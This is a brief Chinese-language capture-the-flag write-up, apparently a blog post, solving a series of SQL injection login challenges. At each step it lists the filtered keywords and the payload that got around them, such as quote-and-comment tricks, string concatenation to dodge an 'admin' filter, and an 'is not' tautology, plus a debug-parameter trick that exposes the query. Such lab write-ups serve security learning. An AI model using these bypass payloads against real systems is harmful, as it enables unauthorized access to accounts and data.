查了一下知道可以用 \d 先看看 table 的 schema,最後再用 select * from flags;
看看 table 的內容
簡單的 SQL Injection,用 ' OR 1=1; # --
輸入就可以了
這題好像是會把 OR
過濾掉,所以試了一下之後只要用 admin'; -- #
就可以了
這題只有 password 可以輸入,試試看 ' OR 1=1; -- #
發現不行,想不到其他方法就開個 Burp Suite 看一下,發現他後面會自帶一個 &debug=0
,試試看改成 1 ,會發現他把 SQL query 顯示出來了
我發現他把 OR
變成 BE
了,似乎是 rot13
,所以我把 OR
改成 BE
,就成功得到 flag 了
filter: or
payload: admin'; -- #
filter: or
, and
, like
, =
, --
payload: admin'; #
filter: or
, and
, =
, like
, >
, <
, --
但試了好久才她好像還擋了空白 OwO
payload: admin';#
filter: or
, and
, =
, like
, >
, <
, --
, admin
查了一下發現 ||
可以把兩個字串連接起來,所以把 admin'
改成 ad'||'min'
就可以了
payload: ad'||'min';#
filter: or
, and
, =
, like
, >
, <
, --
, union
, admin
payload: ad'||'min';#
然後到 filter.php 就可以看到 flag 了
filter: or and true false union like = > < ; -- /* */ admin
試了才發現好像 #
根本沒有起到註解的用途,前面好像是放辛酸的,只好修改 password 使得 query 成立,所以就把 password 設為 a' is not 'b
就可以了
payload: username ad'||'min
, password a' is not 'b
這題好像跟上一題一模一樣? 就把上提的 payload 照抄就過了